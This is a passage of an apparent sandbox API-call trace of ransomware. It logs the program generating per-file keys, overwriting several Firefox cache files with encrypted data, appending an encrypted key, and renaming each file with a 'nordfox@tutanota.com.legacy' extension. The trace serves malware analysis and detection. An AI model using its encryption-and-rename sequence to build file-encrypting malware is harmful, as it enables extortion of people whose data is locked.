"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab64da67cfd54d7d76a690466131cf5944f86377"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab64da67cfd54d7d76a690466131cf5944f86377.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8b68 | out: hHeap=0x520000) returned 1 [0185.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e77d0 | out: hHeap=0x520000) returned 1 [0185.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8538 [0185.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8538 | out: pbBuffer=0x30e8538) returned 1 [0185.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.626] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1", dwFileAttributes=0x80) returned 1 [0185.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8a60 [0185.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8a60 | out: hHeap=0x520000) returned 1 [0185.627] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab32d8f1c18d5453574fe5b0121069032ac00ec1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.627] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4404) returned 1 [0185.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1134) returned 0x30ef880 [0185.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1134) returned 0x30f09c0 [0185.628] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1134, lpOverlapped=0x0) returned 1 [0185.636] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.636] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c0*, nNumberOfBytesToWrite=0x1134, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1134, lpOverlapped=0x0) returned 1 [0185.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f09c0 | out: hHeap=0x520000) returned 1 [0185.636] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1134 [0185.636] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.636] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8538*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8538*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.637] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8538*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.637] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.637] CloseHandle (hObject=0x1b80) returned 1 [0185.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8538 | out: hHeap=0x520000) returned 1 [0185.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.637] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab32d8f1c18d5453574fe5b0121069032ac00ec1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab32d8f1c18d5453574fe5b0121069032ac00ec1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7cf8 | out: hHeap=0x520000) returned 1 [0185.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8e80 | out: hHeap=0x520000) returned 1 [0185.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f18a8 [0185.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f0b40 [0185.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0185.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f0b40 | out: pbBuffer=0x30f0b40) returned 1 [0185.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0185.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB", dwFileAttributes=0x80) returned 1 [0185.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30efcd0 [0185.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30efcd0 | out: hHeap=0x520000) returned 1 [0185.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab141217664509c26c8cd6507a817d0952c045db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.643] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=130427) returned 1 [0185.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fd7b) returned 0x2eeb018 [0185.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fd7b) returned 0x3520048 [0185.643] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x1fd7b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x1fd7b, lpOverlapped=0x0) returned 1 [0185.657] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-130427, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.658] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x1fd7b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1fd7b, lpOverlapped=0x0) returned 1 [0185.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3520048 | out: hHeap=0x520000) returned 1 [0185.658] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1fd7b [0185.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f0b40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f0b40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.658] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0b40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0b40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.659] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.659] CloseHandle (hObject=0x1b80) returned 1 [0185.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0b40 | out: hHeap=0x520000) returned 1 [0185.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0185.659] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab141217664509c26c8cd6507a817d0952c045db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab141217664509c26c8cd6507a817d0952c045db.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f18a8 | out: hHeap=0x520000) returned 1 [0185.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f1ab8 [0185.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f1ab8 | out: pbBuffer=0x30f1ab8) returned 1 [0185.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.661] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8", dwFileAttributes=0x80) returned 1 [0185.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f22f8 [0185.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f22f8 | out: hHeap=0x520000) returned 1 [0185.662] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aab980cea9a2c2cd649588dc3de613f3ab65eff8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.662] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15558) returned 1 [0185.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3cc6) returned 0x30e7068 [0185.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3cc6) returned 0x30ead38 [0185.662] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x3cc6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x3cc6, lpOverlapped=0x0) returned 1 [0185.664] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-15558, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.664] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ead38*, nNumberOfBytesToWrite=0x3cc6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ead38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3cc6, lpOverlapped=0x0) returned 1 [0185.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7068 | out: hHeap=0x520000) returned 1 [0185.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ead38 | out: hHeap=0x520000) returned 1 [0185.664] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3cc6 [0185.664] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.664] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f1ab8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f1ab8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.664] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1ab8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1ab8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.664] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.664] CloseHandle (hObject=0x1b80) returned 1 [0185.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f1ab8 | out: hHeap=0x520000) returned 1 [0185.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.665] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aab980cea9a2c2cd649588dc3de613f3ab65eff8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aab980cea9a2c2cd649588dc3de613f3ab65eff8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e33a8 | out: hHeap=0x520000) returned 1 [0185.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e33a8 [0185.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e39d8 | out: pbBuffer=0x30e39d8) returned 1 [0185.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513", dwFileAttributes=0x80) returned 1 [0185.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f1590 [0185.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f1590 | out: hHeap=0x520000) returned 1 [0185.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aa1be830624563966081a279316b3a864908e513"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.668] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4348) returned 1 [0185.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fc) returned 0x30f3888 [0185.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fc) returned 0x30f4990 [0185.668] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x10fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fc, lpOverlapped=0x0) returned 1 [0185.674] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.674] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4990*, nNumberOfBytesToWrite=0x10fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fc, lpOverlapped=0x0) returned 1 [0185.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4990 | out: hHeap=0x520000) returned 1 [0185.674] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fc [0185.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.674] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.674] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.675] CloseHandle (hObject=0x1b80) returned 1 [0185.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.675] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aa1be830624563966081a279316b3a864908e513"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aa1be830624563966081a279316b3a864908e513.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e33a8 | out: hHeap=0x520000) returned 1 [0185.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e32a0 | out: hHeap=0x520000) returned 1 [0185.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e32a0 [0185.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e33a8 [0185.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.677] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e33a8 | out: pbBuffer=0x30e33a8) returned 1 [0185.677] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.677] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA", dwFileAttributes=0x80) returned 1 [0185.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0185.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.678] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a88fe7df2f4df75099ce8732f8ffe199b8926caa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.678] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4454) returned 1 [0185.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30f3888 [0185.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30f49f8 [0185.678] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0185.679] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.679] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49f8*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0185.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f49f8 | out: hHeap=0x520000) returned 1 [0185.680] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1166 [0185.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.680] CryptEncrypt (in: 